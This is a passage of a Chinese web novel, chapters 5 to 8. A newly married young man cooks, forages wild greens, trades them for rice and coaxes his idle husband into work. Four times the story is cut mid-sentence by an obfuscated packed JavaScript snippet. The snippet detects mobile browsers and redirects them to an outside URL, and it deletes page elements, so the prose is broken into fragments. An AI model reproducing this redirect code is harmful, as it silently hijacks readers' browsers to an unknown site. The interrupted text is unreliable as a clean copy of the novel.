走回祁家,许见秋拿了自己的鱼,先养在水盆里,拿盖子盖住,怕狸奴偷,还压了几块石头。 随后,他轻手轻脚走进屋,见祁胜平躺在床上,还在熟睡,便屏住呼吸,拿了脏衣裳被单,还有自己的一双鞋就走。 他去河边洗了衣裳鞋子,又在家附近捡了许多干木柴,眼看着接近晌午,才开始做饭。 鱼拿到外面敲晕,刮鳞破肚。 他喜欢吃香煎鲫鱼,外酥里嫩,且鲜得很,吃一口别提多满足了。 可做香煎鲫鱼需要葱姜花椒,家里都没有。 想了想,他决定做烤鱼。 用四根木棍插.进地里,简单做了两个木架,熟练地生起火,用湿树枝穿过整个鱼,将树枝架在架子上,接下来需要的便是耐心。 小火慢烤,待火势稳定后,他进厨房燃起炉灶,同时开始煮杂粮粥。 烤架就在厨房门口,两头顾对他而言并不艰难。 待到两条鱼烤好,他用筷子扯下一小块,沾盐尝了一口。 熟了,表皮有一丢丢糊味,内里很嫩,总体还是挺香的。 趁热给鱼表面都抹上一层盐,先放进盘中。 把没烧完的柴都转移到炉膛内,继续熬粥。 狸奴许是嗅到了味道,不知何时溜进厨房,不断喵喵叫,还试图跳上台面。 “等会儿鱼骨头给你吃。”许见秋捉过狸奴,揉了揉小脑袋。 许家食馆也养着一只狸奴,那一只因为常吃有油水的剩饭剩菜,体态很是圆润,不像这一只,瘦弱得可怜。 许见秋有些心疼这只小狸奴,想必它跟着祁胜都没吃过几顿饱饭。 以后若是他要离开,一定带着狸奴一起走。 5. 野菜 祁胜在水中潜泳,抱住一尾大鱼,大鱼身子一扭,变成了许见秋的模样。 他吃了一惊,正要松手,想起许见秋不会游泳,再次搂紧对方的腰,嗅到了一股异香。 香味勾人得很,他几乎晕头转向,就在这时对方朝他嫣然一笑,旋即再次变成大鱼,张开血盆大口—— 祁胜猛然睁开眼,嗅到了一股香气。 不是异香,而是烤鱼肉的香味。 肚子里馋虫鼓动,祁胜翻身下床,走出门就发现香味是从自家厨房传来的。 “你醒了,正好吃饭。”许见秋听见响动,回头朝他一笑。 祁胜忽然想到梦里的大鱼,不太自在地别开视线:“你从哪儿弄的鱼。” “我遇见了冯四哥,跟他一起去堰塘抓的。”许见秋说着,铲起最底下的炉灰,送进炉膛,确保熄灭所有的火源。 祁胜知道冯四哥,没再多问,只拿碗盛饭。 见他不碰鱼,许见秋道:“鱼我已经尝过了,味道还可以,你吃没动过的那条。” “无功不受禄,鱼不是我抓的,我不吃。”祁胜喝着稀粥,很有骨气地道。 许见秋说:“你救过我的命,一条鱼不算什么。” 闻言,祁胜仍是不动。 许见秋端起装鱼的盘子,走到男子面前,将大些的那条转移到对方碗里:“吃吧,就当报答你救我的恩情了。” 离近了,烤鱼的香味更加诱人,太久没出肉,祁胜还是没能抵过馋虫,默不作声接受了好意。 两人一个坐着一个站着,就在厨房用了午餐。 随后,许见秋舀水洗碗,水缸正好见底。 “我去挑水。”许见秋找出水桶,“扁担在哪儿?” 挑水是重活,哥儿气力不如汉子,祁胜从许见秋手中接过木桶:“我去挑。” 见他还会主动干活,并不是那种无可救药的人,许见秋弯了弯唇,交代道:“挑两趟就够了,水放陈了不好。” “知道了。”祁胜应下。 等祁胜挑了水回来,许见秋拿出背篓:“我们去挖野菜吧。” 如今初秋,野菜正旺盛,摘回来拿油炒了吃,或者包包子,也很香。 “不去。”祁胜动了动肩膀,声音懒散,“挖野菜出一身汗,回来还要洗澡洗衣裳多麻烦,不如歇着。” 许见秋蹙眉:“可我们没有菜吃。” “买着吃,村里有人种菜。”祁胜走进屋,很快又出来,递给他一串铜钱,“喏,这是我所有的钱,你省着点用,过几天我再去干活。” 许见秋抿唇,没有接。 “这是我自己挣的工钱,不是那个谁给的,他给的钱早就花掉了。” 许见秋垂眸:“我不是介意这个。” “那你就拿着。”祁胜硬塞进他手里,“村里买菜很便宜,比自己挖野菜划算。” 可坐吃山空怎么行呢,许见秋默默地想。 祁胜可不管夫郎在想什么,他还没睡够呢,转身又回房睡觉去了。 许见秋将铜板放到祁胜枕头边,拿了皂角粉和干麻布,自己带着狸奴去河边,给狸奴洗了个澡。 他原本想用盆洗的,可家里只有三个盆,一个是他带来洗脸的,一个洗菜,另一个大概是祁胜用来洗全身的,都不适合给狸奴用。 洗完澡的狸奴毛发湿漉漉的,看上去又小了一圈,大圆眼睛无辜地看着他,许见秋心里不由得一软。 他跟小狸奴保证:“以后有我在,一定让你吃饱饭。” 狸奴听不懂人话,但觉得这只四脚兽好像很温柔,身上也暖暖的,便不断往许见秋身上贴。 许见秋拿起旁边的干麻布,裹住小狸奴一顿擦。 毛发擦得差不多,他又洗了麻布,才带着狸奴回家。 祁胜还在床上躺着,许见秋想叫对方起来干活,然而几番张口,都没能出声。 他心里还没有万全之策,怕贸然开口会惹祁胜嫌恶。 等明日吧,待他想个法子出来。 * 转眼又是一天过去,祁胜早上将水缸挑满,门前空地清扫一遍,便什么都不做了,一副又要摆烂整天的态度。 许见秋没管他,自己吃了碗粥便背着背篓上山了。 他昨日和冯四哥约好,今天两人一块儿上山摘野菜。 无穷村的山说是山,其实高一些的丘陵,不过数个丘陵连在一起,方向感弱的人很容易迷路。 “我们这地方就像被诅咒了一样,山上的东西也不如别的村多,不过认真找找还是有的。”冯四哥小心地用长树枝拨开草丛。 这样做主要是防止踩到毒蛇,他穿着草鞋,万一踩到肯定会被咬一口。 许见秋也拿着长树枝探草丛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405042|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余光瞥见不远处有野茼蒿,忙扯了扯冯四哥的袖子:“四哥儿,那里有好多茼蒿。” 茼蒿可以用来炒肉丝和凉拌,味道很不错,据说还有清肺的作用。 不过发现的这一处茼蒿太老,两人只挑着嫩的摘了一些。 随后,二人又发现了不少马齿苋。 马齿苋是好东西,既多又好吃,还方便晒干留到冬日,许家食馆每年秋季都会提前收好多干马齿苋和干木耳蘑菇什么的,留着冬日做菜用。 摘了大半背篓野菜,许见秋试了试,再重自己就背不动了,便不再摘了。 “再捡点干松果吧,回去引火好用,也好遮住篓子里的野菜,免得别人眼红。”冯四哥也摘得差不多了,说道。 许见秋不解:“眼红?” “有些人会眼红,看见别人有什么都想拿到自己手里。”冯四哥解释。 闻言,许见秋眸色微动:“祁胜应该不是这种人吧。” “应该不是,除了懒,我还没有听那些婶子夫郎们讲过他别的不好。” 说到这里,冯四哥忽然一顿。 许见秋注意到:“怎么了?” “没什么。”冯四哥摇了摇头。 那些婶子夫郎们闲话时,说过祁胜不行,否则为什么对姑娘哥儿一点兴趣都没有。 如今许见秋已经是祁胜的夫郎,那种事究竟如何,他心里肯定清楚。 许见秋也没有多想,两人又捡了些松果就折返往回走了。 下了山,冯四哥道:“我准备去隔壁村卖马齿苋,你去不去。” 许见秋想了想:“去吧。” 他想看看野菜什么价位,也好决定以后怎么处理。 隔壁绿水村的地主家收野菜,冯四哥说离得很近,结果走了两刻钟才到。 许见秋几乎没有负重走这么久过,卸下背篓后,两边肩膀都感觉到疼,忍不住伸手按了按。 冯四哥摸了摸鼻子:“对不起,我忘了你是镇上人了。” “没事,我现在已经不住镇上了。”许见秋不怪对方,“下次我多垫几层布就不会磨肩膀了。” 地主家的管事出来,两人没再说话,等着对方检查。 他们俩做事都仔细,马齿苋里没什么杂草和泥土,管事没挑毛病:“还是老价格,两斤一文钱。” 许见秋诧异:“这么低?” 6. 换米 扫他一眼,管事语气阴阳:“这还低?嫌低你上别处卖去,自己拿到镇上卖。” 无穷村偏僻,成人去镇上走路得两三个时辰,一来一回就是近五个时辰。 一天走五个时辰,哪有时间卖菜? 若是坐车,来回六文钱,对于村民也是不小的负担,住店就更贵了,菜还不一定能卖出去呢。 管事就是拿捏了这一点,才如此趾高气昂。 许见秋的肩膀已经磨得红肿,再把这些野菜背回去不可能,尽管觉得价格太低,也不得不忍气卖掉。 管事拿大称称量,许见秋的三十七斤重,冯四哥背的多些,足有五十斤。 “十八文收好了,退你一斤。”管事数完,不往许见秋手里放,反而故意将铜板扔到他身上,然后哈哈大笑起来。 冯四哥笑容一僵,看向许见秋。 后者目光沉了沉,声音却平静:“我不卖了。” “哟,还矫情起来了,你爱卖不卖,野菜就是这个价。”管事猥琐的目光在哥儿身上流连一圈,“若是卖别的,指不定还能卖个高价。” 许见秋一言不发,拿起自己的那部分马齿苋,重新装进背篓。 见状,冯四哥道:“我也不卖了,还给我。” 管事摸了摸山羊胡,轻蔑出声:“不卖就赶紧滚,不过我丑话说在前头,今日不卖,往后也别想再来我这儿卖。” 闻言,冯四哥咬了咬牙,继续往背篓里收。 大不了他自己晒干了,挑个日子去镇上卖。 见他们两个铁了心不卖,管事正要关后门,忽然看见一辆运粮的驴车,又赶紧将门打开。 穿着耐脏麻衣的年轻汉子将驴车赶到门口,跳下车,熟练地跟管事打招呼。 驴车上还有一个年轻汉子,坐在后头,穿着粗棉衣,同时下了车。 许见秋将背篓拖到一边,粗棉衣汉子余光瞥见他,面上一喜:“秋哥儿,你怎么在这儿?” 闻声抬头,许见秋才发现是熟人,对方是粮铺老板的大儿子梁正业。 “正业哥。”许见秋颔首,道,“我嫁到了无穷村,今日是过来卖野菜的。” 这件事梁正业早听说了,他知道无穷村很穷,却没想到许见秋会沦落到这种境地。 同情不好说出口,他看了一眼背篓,问道:“既是卖野菜,怎么把野菜往框子里收?” “他嫌价格低,不愿意卖。”管事抢先说。 许见秋点了点头。 自己的事,他不想牵连旁人。 见状,梁正业道:“你等等我们,我把粮食送进去,然后送你回去。” 以自己的肩膀情况,走回去不太现实,许见秋接受了好意:“那就多谢正业哥了。” “顺路的事儿,不用客气。”梁正业说着,扛起一袋白米。 另一名年轻汉子也扛了一袋米,管事跟着他们走进去,等进门后忍不住问道:“梁小老板,刚才那哥儿也是镇上的人?” “对,他是许家食馆老板的儿子。” 听见“许家食馆”四个字,管事脸色微白。 他对外说是管事,其实手底下一个人都没有,就是个地主家的长工。 收到的野菜,通常由他蒸煮晒干后,再由另一个人卖往镇上。 许家食馆算是大客户,若是因他而得罪了许家,连累到生意,他这份差事就保不住了。 管事心里慌,梁正业叫他检查斤数,他都差点没听见。 几袋粮食核对完,收了银钱,梁正业帮两个哥儿把背篓搬到车上,让他们找地方坐。 许见秋登上车,和冯四哥坐在同一侧,见车上的几个套着布袋的竹筐中还有不少粮食,问道:“正业哥,你剩下的粮食是要送往哪里?” “我爹让我沿途叫卖。”梁正业回道。 许见秋道:“我可否拿野菜换粮。” 家里就剩四两杂粮了,根本不够吃。 “自然,你想换多少?” “这一背篓全换,换一斤白米一斤杂米,可行?” 白米市价十二文,杂米市价七文。 梁正业笑道:“我占便宜,自然可行。” “我……”面对镇上的生人汉子,冯四哥没敢抬眼看人,声音也有点小,“我也想换米。” 梁正业听见了:“都行,等会儿把你们送到家再称米。” “四哥儿,附近可有卖肉的?”许见秋问。 冯四哥道:“这条道上就有一家屠户,门前挂着肉的就是。” ——刚才他们徒步过来是抄小道,和驴车走的不是同一条路。 许见秋便道:“正业哥,可否借我些银钱买肉,等到家我就还你。” 梁正业自是同意。 等到了屠户处,许见秋称了一斤五花肉,又问老板:“你这里可有八角花椒等炖肉的大料?” “没有,不卖这些。”老板摆了摆手。 许见秋道:“我只需炖这一斤肉的料,烦请老板给我包一些吧,糖也要,我按市价给钱。” 屠户家常吃荤,家里自然备着大料,闻言便进屋去给他包了一些,报价八文钱。 加上一斤肉,一共二十六文。 驴车比步行快的多,约摸半刻钟后,许见秋便到家了。 此时已是傍晚。 许见秋进屋去拿钱,发现祁胜不在家,床铺已经凉了,可见对方离开了很久。 他打开柜子,拿出藏在角落的荷包,里面装着两钱碎银并一百多个铜板。 他数了二十六枚出来,再原样放好。 ——他带来的钱当然不止这些,这些只是零碎用的。 外面,梁正业见只有两间破旧的土房子,空地上也只有一根晾衣绳,心里直惋惜。 他先给冯四哥称米。 冯四哥想拿一半野菜换一斤白米,杂米他家里有,不用买。 见那么一大堆野菜,梁正业没有动称,直接用木碗给舀了四碗:“差不多,你拿回去吧。” 冯四哥接过布袋,拎在手里就知道多了。 他感激地看了年轻汉子一眼,快速往家中跑去。 跑回家倒进米缸,又跑回来还布袋。 梁正业接回,给许见秋装米,也没有用称,白米杂米各装了四碗。 许见秋记下这份情谊,道了谢。 因为天色越来越晚,梁正业得赶回镇上,便没再叙旧,告辞离去。 冯四哥也回家了。 许见秋站在原地,四处看了看,依旧没有看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405043|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祁胜的影子,便先进了厨房。 他打算做卤肉饭,五花肉切成小块,煸炒出部分油脂,将油盛出,加水,放入各种调料炖煮半个时辰,再焖一刻钟,就能吃了。 炖煮时也可加入素菜,正好厨房里有一堆新鲜菜,估计是祁胜弄来的。 他借着余晖切好肉,正要蹲下挑菜,忽然听见急促脚步声。 回过头,发现是祁胜。 祁胜两手空空,额头似有薄汗,不知道干什么去了。 “你回来了。”许见秋语调微扬,“正好,帮我把这把豇豆处理好。” 祁胜非但不接,还往后退了一步,语气微妙:“你买了肉?” “嗯,是用我自己的钱买的,还用摘的野菜换了两斤米,今晚我们煮精米吃。” 精米也就是白米。 祁胜忽的轻嗤一声:“真不知你是娇贵还是不娇贵。” 许见秋敛了笑意,蹙眉:“祁胜?” “这次就算了,以后别再买肉,馒头咸菜一样能活。”祁胜从他手里拿过豇豆,语气刻薄,“当我的夫郎,就得一辈子吃苦。” “你要是受不了就回镇上,我少养活一个人,更快活。” 常言道,良言一句三冬暖,恶语伤人六月寒。 怎么也想不到祁胜会说出这种话,许见秋胸口起伏,好一会儿才道:“我没有用你的钱。” “你的钱能支撑多久?等花完了,还不是要用我的。”祁胜掰着豆角,似有极大怨气。 许见秋道:“至少我现在没花你的。” 又说:“我不会回镇上,县令判我留在这里。” 他若马上回去,定会连累爹娘。 “县令高升,过几天就走,你可以回去了。”祁胜才得到的消息。 闻言,许见秋心里一点高兴都没有。 能回家自是一件喜事,可祁胜态度的转变又让他感到难受和迷茫。 他努力改善生活,难道还错了么? 难道他真的看错人了吗? “祁胜,你是想让我回镇上,才故意这么说的吗。”半晌,许见秋出声。 祁胜端着装豇豆的木盆进来,语气轻浮:“对啊,我本以为你今天就会走,没想到你一点脑子都没有,居然真去挖野菜了。” “你不走,我只能赶你走了。” 不太明亮的厨房内,许见秋看着男子,福至心灵,忽然问道:“你刚刚是出去找我了吗。” 祁胜否认:“没有,我去找人喝酒了。” “可你身上没有酒味。” “因为那人不在家。” 许见秋却确认道:“你一定是去找我了。” “那又怎么样,我怕你死在村里,你爹娘会找我麻烦。” 许见秋奇怪道:“我又没说会怎么样,只是你为何要骗我呢。” 祁胜一噎。 好在许见秋没有细究下去,只道:“下次不要再骗我了。” 哪有下次,祁胜心想,等许见秋回了镇上,两人婚姻关系解除,桥归桥路归路,他跟对方不会再见面。 “我既已来到这里,便是你的夫郎,即使蔡县令走了,我也是你的夫郎。”许见秋敲着打火石,声音认真,“我是不会走的,你赶我也没用。” 7. 卤肉饭 几息过后,祁胜才幽幽道:“你是傻子吧。” 待在他这穷乡僻壤的破屋里,能有什么好处? “你才是傻子。”许见秋垂眸,声音很低。 他心里明镜一般:祁胜总是装作对他很差劲的样子,想逼他走,但事实上,祁胜对他并不差。 会担忧他的安危,不惦记他的钱。虽然不爱干活,可也没有逼着他做事。 至少比胡天楠好,胡天楠只会说好听话,实事是一样不做的。 祁胜也比胡天楠好看。 许见秋眸色微敛,点着火后起身道:“你来帮我烧火。” 祁胜看他一眼,满脸不情愿地坐了过去。 许见秋弯了弯唇,走到灶前,往锅里加少许油润锅,随后将葱段姜末下锅,炸干炸香后,放入五花肉煸炒。 柴锅火大,很快就煸出油脂,估摸着差不多了,便把肉和油都先盛出来,然后添水,放大料、盐糖,把肉块重新放进去。 煸出来的猪油可以留着日后炒菜用。 “接下来小火保持温度就可以了,炖约摸半个时辰。” 祁胜一听就炸了:“你要让我在这里烧半个时辰?” “嗯,炖够时间才好吃。”许见秋说。 祁胜道:“煮熟能吃不就行了,你知道炖半个时辰得费多少柴吗。” 许见秋算是明白为何对方煮的稀饭那么难吃了。 “村里树多,到处都是柴,我闲暇时去捡就是了。” “为了一口吃的,多忙那么久,值得吗。”祁胜吐槽。 许见秋道:“值得,吃得好,人才能有精气神。” 见哥儿说的那般认真,祁胜咽下想说的话,往炉膛里添了两根柴。 借着最后一点余晖,许见秋将案板收拾干净,在柜子摸到半截蜡烛,拿出来备用。 随后,因为天黑,他无事可做,便回屋搬了把凳子,坐到祁胜旁边。 火光映照着两人的脸庞,许见秋看向身边的男子:“祁胜,按照规矩,明日回门。” “我记得。”祁胜换了个姿势,“明早我带你去村口搭驴车。” 又说:“回门要带什么礼?先说清楚,贵的我买不起。” 许见秋沉默抿唇。 祁胜以为对方嫌弃自己:“我真不知道,也是真穷,刨去来回车钱和接下来几天的粮食钱,我只能拿出五十文买礼物。” “知道你穷,只是我也不晓得该带什么礼物。”许见秋微微蹙眉,有些懊恼。 许见月比他大六岁,当年回门时,他才十岁,只顾着看姐姐有没有变化,没注意礼品是什么。 “那就随便买吧。”祁胜很看得开,“要是买错了,你就说是我做的主,他们不会怪你的。” 许见秋点了点头:“买两斤糖一坛酒吧。” “买不起。”一斤糖就得八十文。 许见秋道:“我有些私房钱,我来买。” “哪有回门花自己钱的。”祁胜又开始觉得哥儿傻。 许见秋道:“夫夫一体,不必要分这么清。” “就不怕我把你骗干净了,再将你休弃出门?”祁胜半玩笑半认真地睨着少年哥儿。 许见秋回视他:“不怕。” “你是没吃过真苦。”祁胜又往炉膛里添了根柴,顺势收回视线。 许见秋仍旧看着男子,试探道:“听你的意思,你从前的遭遇不好?” “当然不好,你看我住的这是什么破房子,天天吃杂粮馒头杂粮粥,还吃不饱,能算好吗?”祁胜摊手。 许见秋忽然觉得对方这副模样很有趣,笑了一下,没有再问。 因为天气还不够冷,厨房里有蚊子,许见秋被叮了几下有点难受,遂站起来走动。 祁胜见状,从旁边的柴堆里摸出一小捆艾草,点燃放到门口。 艾草香很有效果,很快就没蚊子了。 许见秋又坐回去,继续和祁胜说话:“你识字吗?” “认识一点,不多。” “你以前是哪儿的人?” “忘记了。” “你喜欢姑娘还是哥儿?” “都不喜欢,我喜欢一个人过日子。”祁胜回。 许见秋道:“你好奇怪。” 他从来没有见过这样的人。 “我不仅奇怪,还懒,没有追求,凡事得过且过,脾气也不好。”祁胜再一次表明,“你若真要当我夫郎,可真得过苦日子了。” 说来神奇,祁胜越是这样恐吓他,许见秋越是不怕。 “不论你说什么,我不会走的。”他站起来,掀开锅盖,把洗净的豇豆放进去,搅拌均匀,然后又盖住。 一开一盖之间,卤肉的香味弥漫出来,许见秋摸了摸肚子。 他好饿,上一顿饭还是早上吃的粥。 不过想到待会儿就能吃到香喷喷的卤肉,他又觉得还可以再忍忍。 坐回凳子上,他又不禁想,得做点耐放的吃食,这样饿了就能垫垫肚子,不用一直忍着。 — 约摸半个时辰过去,卤肉炖得入味,后锅的白米饭则早就好了。 ——土灶为了不浪费柴力,分前后两个锅,一般前锅做菜煮饭,后锅借余热烧水。 米饭盛出来后,许见秋就洗净添了水,现在热水也有了,待会儿吃了饭就能洗。 他盛了一碗白米饭,舀了两勺卤肉,然后让开位置,忍不住扒了一大口饭。 他饿狠了,光吃白米饭也觉得香甜,再吃一大口卤肉,顿觉满足。 卤肉火候恰到好处,调味适中,肥而不腻,软烂可口,素菜也沾了肉香,同样好吃。 就是有点烫,不能吃得太急。 许见秋有点被烫到,张嘴呼着热气,余光瞥见祁胜捧着碗喝。 他走近,发现对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405044|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在喝凉的杂粮粥,应当是中午剩下的。 “怎么不吃肉?” “稀饭剩下可惜,再不吃要坏了。” 祁胜这般说着,其实是不好意思吃。 他确实懒,干什么都凑合,可他是很有骨气的,不能老是去占哥儿的便宜。 许见秋约摸能感觉出来,是男人的自尊作祟。 还有自尊心,还是有救的。 许见秋又盛了大半碗饭,盖上满满的肉菜,递到男子面前:“这么多饭和菜我吃不完,你若不吃,明日放坏了可惜。” 祁胜克制着,没有接:“夜里凉,放一夜不要紧,你明早再吃。” “明早我也吃不完。” 祁胜这才接过:“那我少吃一点。” 许见秋失笑:“我做的多,足够我们吃饱。” 狸奴不知是否听懂了人话,扒着许见秋的裤脚喵喵叫。 许见秋遂给狸奴扒了些泡了肉汤的饭,还给了几块肉。 虽只有小小几块肉,狸奴也满足了,以前跟着祁胜哪里过过这种好日子。 它欢快地摇动着尾巴,欢快地吃了起来。 许见秋吃了两大碗,还能再吃,但想到马上就要睡觉了,怕积食,才放下碗筷。 祁胜也放下筷子,锅里约摸还剩四分之一的肉,明早加点素菜,又是很好的一顿。 许见秋舀水洗碗,祁胜破天荒地道:“我来吧,你先去洗澡。” “好。”许见秋弯了弯唇,没有客气。 — 待到一切事毕,两人都躺在床上,许见秋道:“我想在门前圈一块菜地,种点菜吃。” “圈呗。” “那你帮我挖地松土,然后我们一起去砍柴围篱笆。” 菜地得围起来,不然小动物乱跑,容易被糟蹋。 祁胜当即拒绝:“我不干,还是买菜吃吧,村里买菜便宜。” “可是我们很穷,村里挣钱也艰难,能省就省一点吧。”许见秋劝说。 祁胜道:“过几天我就去干活,结了钱多买几斤粮食,不会饿到你的。” 还想再懒几天? 许见秋忽然有点生气,语气也重了些:“你不能再荒废度日了,必须明天就开始干活。” “明天回门。” “回门也有时间,明早我做饭的时候,你就挖地。” 习惯了天黑就睡觉,加上前两天睡的不算好,祁胜有点困,打着哈欠道:“你怎么这么凶了。” “你不能白吃我的肉。”许见秋说,“吃了我的饭,就要给我干活。” 原来在这儿等着他。 果然人不能吃嗟来之食。 祁胜又打了个哈欠,无奈道:“行行行,明天就挖地,保证给你挖好。” 得到允诺,许见秋才不再说话。 他累了一天,也早就困了,但不太睡得着,因为肩膀有些疼。 8. 习惯 窗外不知是什么虫子在叫,窗缝门缝都不太紧密,有凉风灌进来。 许见秋克制着自己的动作,轻轻揉按肩膀。 洗澡时他看过了,肩膀只磨破了一点点皮,不算严重,但就是让他很不舒服。 “睡不着?”祁胜的声音忽然从旁边传来。 许见秋低低“嗯”了一声:“肩膀有点难受。” 祁胜很容易猜到原因,却也没有什么办法。 家里没药,再者,他早就说了买菜便宜,是许见秋自己非要逞强去挖野菜。 费那么多力气,还弄得自己受伤,能省几个钱? 完全不值得。 在他身上花费精力也一样,完全不值得,他不是那种适合过日子的人。 室内静默无声,不知过了多久,祁胜再度出声:“还没睡着?” 无人回应,看来是睡着了。 看来伤得也没那么严重。 祁胜闭上眼,心想。 * 次日,许见秋醒来时,身边已经没人了。 他打开窗户往外看了一眼,还好,看起来也就才天亮。 他穿上外衫,挽好头发后踏出屋门,正要往厨房走,就看见祁胜从厨房出来了。 “早饭已经做好了。”祁胜道,“昨天剩的白米熬成了粥,肉汤里加了把青菜。” 男子主动做事,许见秋有些惊喜,又有些不好意思:“我是不是起晚了。” “没有,是我起的太早,昨日躺了一天,睡多了。”祁胜语气平常。 许见秋信以为真,转身去厨房盛饭。 将家里唯二的椅子搬出来,两人端着碗,就在门前空地上坐着吃。 许见秋边吃边估量着土地面积,琢磨着能否再建两间房。 就一间住人的屋子实在狭窄,若以后有了小孩,就更加施展不开了。 但建房子太贵,现在他们没什么钱,当务之急还是得赚钱。 想到这里,他看了看祁胜。 不知对方以前是做什么工作赚钱的,若日后不再懒怠,多久才能挣够一间青砖瓦房的钱。 祁胜察觉到视线,挑了挑眉:“你不会又要催我挖地吧?” “我什么时候催你了。”许见秋脸红了红,“我只是在想,过几天你要去做什么活计。” “这问题你直接问我不就行了。”祁胜说,“再过几天,柳林镇附近的村庄稻谷成熟,家里有地的都得忙着割稻,原本在镇上干活的人便会请假,各行各业就有了空缺,届时我就去当临时工,比平时工钱高。” 闻言,许见秋心念一动,眸色微转:“你是觉得平常工钱太低,才不愿意干活?” “不,我就是懒得干活。”祁胜放下空碗,用手帕擦了擦嘴,语气懒散,“农忙时工钱高,赚一天能多躺几天。” 许见秋顿时沉默。 祁胜瞥见哥儿的神情,心情不知怎的变好了,翘着二郎腿,继续轻佻道:“我人就这样,你既然选择当我的夫郎,那你就得习惯。” 见哥儿依旧沉默,祁胜有点想笑,又怕真把人惹急了,不敢笑出声。 “凭什么单要我习惯你。”几息后,许见秋忽然道,“我们是夫夫,你也得习惯我,以后我每日都会督促你干活。” 祁胜笑意顿时消失:“你说什么?” “以后我每日都会督促你干活。”许见秋又重复了一遍,并道,“希望你早日习惯。” 说罢,哥儿拿走了他身边的空碗,走进厨房。 祁胜万万没想到许见秋看起来明润温柔,竟会说出这么铁石心肠的话。 要他每天都干活,那活着还有什么意思?活着就是为了干活吗? 他心里反抗情绪激烈,然而直到许见秋收拾完厨房走出来,他也没说出什么。 回门不需要收拾什么东西,带上钱,确认自己身上没有脏污后,许见秋去了一趟冯家,问四哥儿有没有什么要带的东西。 冯四哥正煮野菜呢,闻言想了想道:“帮我带半斤盐,别的没了。” “好。”许见秋记下,折身回到祁家。 祁胜已经把两间屋子锁好了,小臂上搭着一件旧衣裳,腰间挂着水壶。 “走吧。” 两人走到村口,等了一会儿,便看见有驴车经过。 车上一个人都没有,只放着两个空竹筐。 交了六文钱,许见秋先上车,刚要坐下,祁胜忽地拍了他一下:“垫着。” 是那件旧衣裳。 驴车两边设了座位,说是座位,其实就是搭了两块木板。 木板本就硬实,何况还窄,坐久了确实会不舒服。 没想到对方这么细心,许见秋心里一暖,唇边浮现出几分甜意。 车主往后看一眼,提醒一句坐好,便挥起鞭子。 早上有一点冷,坐车上有风,更冷。 不过许见秋早想到了这一点,里面加了一件肚兜,被风吹着,也只是觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405045|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得手有点凉,还挺舒服的。 他的心情甚至有几分雀跃。 虽然只离家几天,可他仍然很想念家人,也想告诉他们,他和祁胜这桩婚事挺好的。 至少,他目前觉得挺好。 一开始两人分别坐在两边,等到人多起来之后,祁胜便转移到了他这边,坐在最边上。 * 驴车中途不断停下载人或者让人下车,所以花费了三刻钟还多,才抵达镇上。 镇上就是最后一站,所有人都下车。 重新踩在结实的地面上,许见秋松快不少,道:“我们先去买糖,然后买酒,从正阳街走……” 话说到一半,他忽然愣住,随后眼睛一亮。 “姐!”许见秋小跑到一名抱着孩子的年轻妇人面前,满脸的喜色压不住。 许见月也忍不住笑了:“爹娘让我和成州来接你们。” 听见“成州”两个字,许见秋才注意到旁边的弟弟。 其实不怪他,成州今年十二岁,还没有开始二次发育,比许见月矮了整整一个头,许见秋刚刚注意力都在姐姐身上,自然就没有注意到他。 许成州鼓着脸哼了一声,许见秋忙道歉,答应给他买把小刀,他才不生闷气了。 随后,四人互相打了招呼,许见秋接过外甥女逗了一会儿,问起回门礼。 “茶和酒是必要的,其它你们看着买。”许见月道。 许见秋便道:“那就买一包茶叶,一坛酒,一匹布。” 原定是买糖,但既然有茶叶了,有没有糖都不要紧。 祁胜道:“我没有意见。” 他看了看许见秋怀里的小女娃,又看了看许见秋的肩膀,忽然伸手:“秋哥儿,我来抱吧。” “bao……”小女娃撑着许见秋的肩膀,咿呀学语。 肩膀经过一夜休养,更加酸痛了,被小孩子一按,许见秋不由得拧眉。 许见月一直注意着他俩,更注意自己女儿,见状像是明白了什么,连忙道:“还是我来抱吧,兰兰认生容易哭。” 她这女儿才一岁,话都不会讲,确实有几分认生。 